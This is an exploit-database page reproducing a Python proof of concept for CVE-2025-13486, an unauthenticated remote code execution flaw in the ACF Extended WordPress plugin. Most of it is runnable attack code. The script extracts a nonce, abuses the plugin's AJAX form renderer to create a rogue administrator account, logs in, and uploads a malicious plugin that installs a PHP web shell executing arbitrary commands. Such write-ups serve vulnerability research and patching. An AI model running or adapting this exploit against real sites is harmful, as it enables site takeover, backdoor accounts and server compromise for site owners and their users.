Lucene search
K

πŸ“„ WordPress ACF 0.9.1.1 Remote Code Execution

πŸ—“οΈΒ 04 Mar 2026Β 00:00:00Reported byΒ indoushkaTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 138Β Views

Unauthenticated remote code execution in WordPress ACF Extended plugin 0.9.0.5-0.9.1.1.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-13486
19 Dec 202510:49
–githubexploit
GithubExploit
Exploit for CVE-2025-13486
3 Dec 202517:22
–githubexploit
GithubExploit
Exploit for CVE-2025-13486
4 Dec 202507:54
–githubexploit
GithubExploit
Ntemplatesbyxit
7 May 202615:36
–githubexploit
GithubExploit
Exploit for CVE-2025-13486
5 Dec 202507:57
–githubexploit
GithubExploit
Exploit for CVE-2025-13486
6 Dec 202513:54
–githubexploit
GithubExploit
Exploit for CVE-2025-13486
4 Dec 202523:28
–githubexploit
Circl
CVE-2025-13486
3 Dec 202506:26
–circl
CNNVD
WordPress plugin Advanced Custom Fields Extended 代码注ε…₯漏洞
3 Dec 202500:00
–cnnvd
CVE
CVE-2025-13486
3 Dec 202506:47
–cve
Rows per page
=============================================================================================================================================
    | # Title     : WordPress ACF 0.9.1.1 unauthenticated Remote Code Execution vulnerability                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/acf-extended/                                                                                 |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213140/ & 	CVE-2025-13486
    
    [+] Summary    : an unauthenticated Remote Code Execution vulnerability in the Advanced Custom Fields: Extended (ACF Extended) WordPress plugin(versions 0.9.0.5 through 0.9.1.1).	
    
    [+] PoC : python poc.py
    
    #!/usr/bin/env python3
    
    import re
    import requests
    import random
    import string
    import zipfile
    import io
    import time
    import sys
    from urllib.parse import urljoin, urlparse
    from requests.adapters import HTTPAdapter
    from requests.packages.urllib3.util.retry import Retry
    
    class WordPressACFExploit:
        def __init__(self, target_url, nonce_page, username=None, password=None, email=None):
            self.target_url = target_url.rstrip('/')
            self.nonce_page = nonce_page
            self.session = requests.Session()
            
    
            retry_strategy = Retry(
                total=3,
                backoff_factor=1,
                status_forcelist=[429, 500, 502, 503, 504]
            )
            adapter = HTTPAdapter(max_retries=retry_strategy)
            self.session.mount("http://", adapter)
            self.session.mount("https://", adapter)
            
     
            self.username = username or self.generate_random_string(8)
            self.password = password or self.generate_random_string(12)
            self.email = email or f"{self.username}@example.com"
            
            self.nonce = None
            self.admin_cookie = None
            
        def generate_random_string(self, length):
            """Generate a random alphanumeric string."""
            return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
        
        def check_wordpress(self):
            """Check if target is running WordPress."""
            try:
                response = self.session.get(self.target_url, timeout=10)
                if response.status_code == 200:
                
                    if 'wp-content' in response.text or 'wp-includes' in response.text:
                        return True
               
                    admin_url = urljoin(self.target_url, '/wp-admin/')
                    admin_response = self.session.get(admin_url, timeout=10)
                    if admin_response.status_code in [200, 302]:
                        return True
            except Exception as e:
                print(f"[!] Error checking WordPress: {e}")
            return False
        
        def find_nonce(self):
            """Extract nonce from the specified page."""
            nonce_url = urljoin(self.target_url, self.nonce_page)
            try:
                response = self.session.get(nonce_url, timeout=10)
                if response.status_code == 200:
               
                    pattern = r'"nonce":"([a-f0-9]+)"'
                    match = re.search(pattern, response.text, re.IGNORECASE)
                    if match:
                        self.nonce = match.group(1)
                        print(f"[+] Found nonce: {self.nonce}")
                        return True
            except Exception as e:
                print(f"[!] Error finding nonce: {e}")
            return False
        
        def check_plugin_version(self):
            """Check if vulnerable plugin version is installed."""
            try:
                
                readme_urls = [
                    urljoin(self.target_url, '/wp-content/plugins/acf-extended/readme.txt'),
                    urljoin(self.target_url, '/wp-content/plugins/acf-extended/README.txt'),
                ]
                
                for url in readme_urls:
                    response = self.session.get(url, timeout=10)
                    if response.status_code == 200:
         
                        version_pattern = r'Stable tag:\s*([0-9.]+)'
                        match = re.search(version_pattern, response.text)
                        if match:
                            version = match.group(1)
                            print(f"[*] Plugin version: {version}")
                            
                            # Check if version is vulnerable (0.9.0.5 to 0.9.1.1)
                            vulnerable_versions = ['0.9.0.5', '0.9.0.6', '0.9.0.7', '0.9.0.8', 
                                                  '0.9.0.9', '0.9.1.0', '0.9.1.1']
                            if version in vulnerable_versions:
                                return True
            except Exception:
                pass
            
           
            return self.nonce is not None
        
        def check(self):
            """Perform vulnerability check."""
            print("[*] Checking target...")
            
            if not self.check_wordpress():
                print("[-] Target does not appear to be running WordPress")
                return False
            
            print("[+] WordPress detected")
            
            if not self.find_nonce():
                print("[-] Could not find nonce on specified page")
                return False
            
            if not self.check_plugin_version():
                print("[-] Plugin version not vulnerable or cannot be determined")
                return False
            
            print("[+] Target appears vulnerable")
            return True
        
        def exploit(self):
            """Execute the exploit."""
            if not self.check():
                print("[-] Exploit check failed")
                return False
            
            print("[*] Creating administrator account...")
            if not self.create_admin_user():
                print("[-] Failed to create administrator account")
                return False
            
            print("[*] Logging in as administrator...")
            if not self.login():
                print("[-] Failed to login")
                return False
            
            print("[*] Uploading payload...")
            if not self.upload_payload():
                print("[-] Failed to upload payload")
                return False
            
            return True
        
        def create_admin_user(self):
            """Exploit the vulnerability to create an admin user."""
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            payload = {
                'action': 'acfe/form/render_form_ajax',
                'nonce': self.nonce,
                'form[render]': 'wp_insert_user',
                'form[user_login]': self.username,
                'form[user_email]': self.email,
                'form[user_pass]': self.password,
                'form[role]': 'administrator'
            }
            
            try:
                response = self.session.post(ajax_url, data=payload, timeout=30)
                if response.status_code == 200:
                    
                    if re.search(r'</div>\s*\d+\s*</div>', response.text):
                        print(f"[+] Administrator account created:")
                        print(f"    Username: {self.username}")
                        print(f"    Password: {self.password}")
                        print(f"    Email: {self.email}")
                        return True
            except Exception as e:
                print(f"[!] Error creating admin user: {e}")
            
            return False
        
        def login(self):
            """Login to WordPress admin."""
            login_url = urljoin(self.target_url, '/wp-login.php')
            
           
            try:
                response = self.session.get(login_url, timeout=10)
             
                pattern = r'name="log"|id="user_login"'
                if not re.search(pattern, response.text):
                    print("[-] Could not find login form")
                    return False
            except Exception as e:
                print(f"[!] Error accessing login page: {e}")
                return False
            
     
            login_data = {
                'log': self.username,
                'pwd': self.password,
                'wp-submit': 'Log In',
                'redirect_to': urljoin(self.target_url, '/wp-admin/'),
                'testcookie': '1'
            }
            
            try:
                response = self.session.post(login_url, data=login_data, timeout=30)
                if response.status_code == 200:
                  
                    if 'wp-admin' in response.url or 'dashboard' in response.text.lower():
                        print("[+] Successfully logged in")
                        self.admin_cookie = self.session.cookies.get_dict()
                        return True
            except Exception as e:
                print(f"[!] Error during login: {e}")
            
            return False
        
        def generate_plugin(self, plugin_name, payload_name, php_payload):
            """Generate a malicious WordPress plugin ZIP file."""
        
            main_plugin_content = f"""<?php
    /**
     * Plugin Name: {plugin_name}
     * Plugin URI: https://example.com/{plugin_name}
     * Description: A temporary plugin
     * Version: 1.0.0
     * Author: Admin
     * License: GPL2
     */
    
    // Hook into WordPress initialization
    add_action('init', '{plugin_name}_init');
    
    function {plugin_name}_init() {{
        // Nothing to do here
    }}
    """
            
    
            payload_file_content = f"""<?php
    // {payload_name}.php
    {php_payload}
    """
            
    
            zip_buffer = io.BytesIO()
            with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
                # Add main plugin file
                zip_file.writestr(f"{plugin_name}.php", main_plugin_content)
                
       
                zip_file.writestr(f"{plugin_name}/{payload_name}.php", payload_file_content)
                zip_file.writestr(f"{plugin_name}/{plugin_name}.php", main_plugin_content)
            
            zip_buffer.seek(0)
            return zip_buffer.getvalue()
        
        def upload_payload(self, php_payload=None):
            """Upload and execute payload via plugin."""
            if not self.admin_cookie:
                print("[-] Not logged in")
                return False
            
    
            if not php_payload:
                php_payload = """<?php
    if (isset($_REQUEST['cmd'])) {
        system($_REQUEST['cmd']);
    } else {
        echo "Payload executed";
    }
    ?>
    """
            
            plugin_name = f"wp_{self.generate_random_string(5).lower()}"
            payload_name = f"ajax_{self.generate_random_string(5).lower()}"
            
       
            print(f"[*] Generating plugin: {plugin_name}")
            zip_data = self.generate_plugin(plugin_name, payload_name, php_payload)
            
    
            upload_url = urljoin(self.target_url, '/wp-admin/plugin-install.php?tab=upload')
            
    
            try:
                response = self.session.get(upload_url, timeout=10)
                # Look for upload nonce
                pattern = r'name="_wpnonce" value="([^"]+)"'
                match = re.search(pattern, response.text)
                if not match:
                    print("[-] Could not find upload nonce")
                    return False
                
                upload_nonce = match.group(1)
            except Exception as e:
                print(f"[!] Error accessing upload page: {e}")
                return False
            
    
            files = {
                'pluginzip': (f'{plugin_name}.zip', zip_data, 'application/zip')
            }
            
            data = {
                '_wpnonce': upload_nonce,
                '_wp_http_referer': '/wp-admin/plugin-install.php?tab=upload',
                'install-plugin-submit': 'Install Now'
            }
            
            try:
                print("[*] Uploading plugin...")
                response = self.session.post(upload_url, files=files, data=data, timeout=60)
                
                if response.status_code == 200:
                 
                    if 'successfully installed' in response.text.lower() or 'activated' in response.text.lower():
                        print("[+] Plugin uploaded successfully")
                        
    
                        payload_url = urljoin(self.target_url, f'/wp-content/plugins/{plugin_name}/{payload_name}.php')
                        print(f"[*] Executing payload at: {payload_url}")
                        
                        response = self.session.get(payload_url, timeout=10)
                        if response.status_code == 200:
                            print("[+] Payload executed")
                            print(f"Response: {response.text[:100]}")
                            return True
            except Exception as e:
                print(f"[!] Error uploading plugin: {e}")
            
            return False
    
    def main():
        """Main execution function."""
        print("WordPress ACF Extended RCE Exploit (CVE-2025-13486) By indoushka")
        print("=" * 50)
        
    
        target_url = input("Target URL (e.g., http://example.com): ").strip()
        nonce_page = input("Path to page with ACF form (e.g., /contact/): ").strip()
        
    
        username = input("Username to create [optional]: ").strip() or None
        password = input("Password for new user [optional]: ").strip() or None
        email = input("Email for new user [optional]: ").strip() or None
    
        exploit = WordPressACFExploit(
            target_url=target_url,
            nonce_page=nonce_page,
            username=username,
            password=password,
            email=email
        )
        
    
        if exploit.exploit():
            print("\n[+] Exploit completed successfully!")
            
       
            if exploit.admin_cookie:
                print("\n[!] You can now:")
                print(f"    1. Login to {urljoin(target_url, '/wp-admin/')}")
                print(f"       Username: {exploit.username}")
                print(f"       Password: {exploit.password}")
                
               
                while True:
                    cmd = input("\nEnter command to execute (or 'exit' to quit): ").strip()
                    if cmd.lower() == 'exit':
                        break
                    
                  
                    print("[!] Command execution requires the uploaded payload URL")
        else:
            print("\n[-] Exploit failed")
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n[!] Exploit interrupted by user")
            sys.exit(1)
        except Exception as e:
            print(f"\n[!] Unexpected error: {e}")
            sys.exit(1)
    		
    		
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Mar 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.8
EPSS0.76989
SSVC
138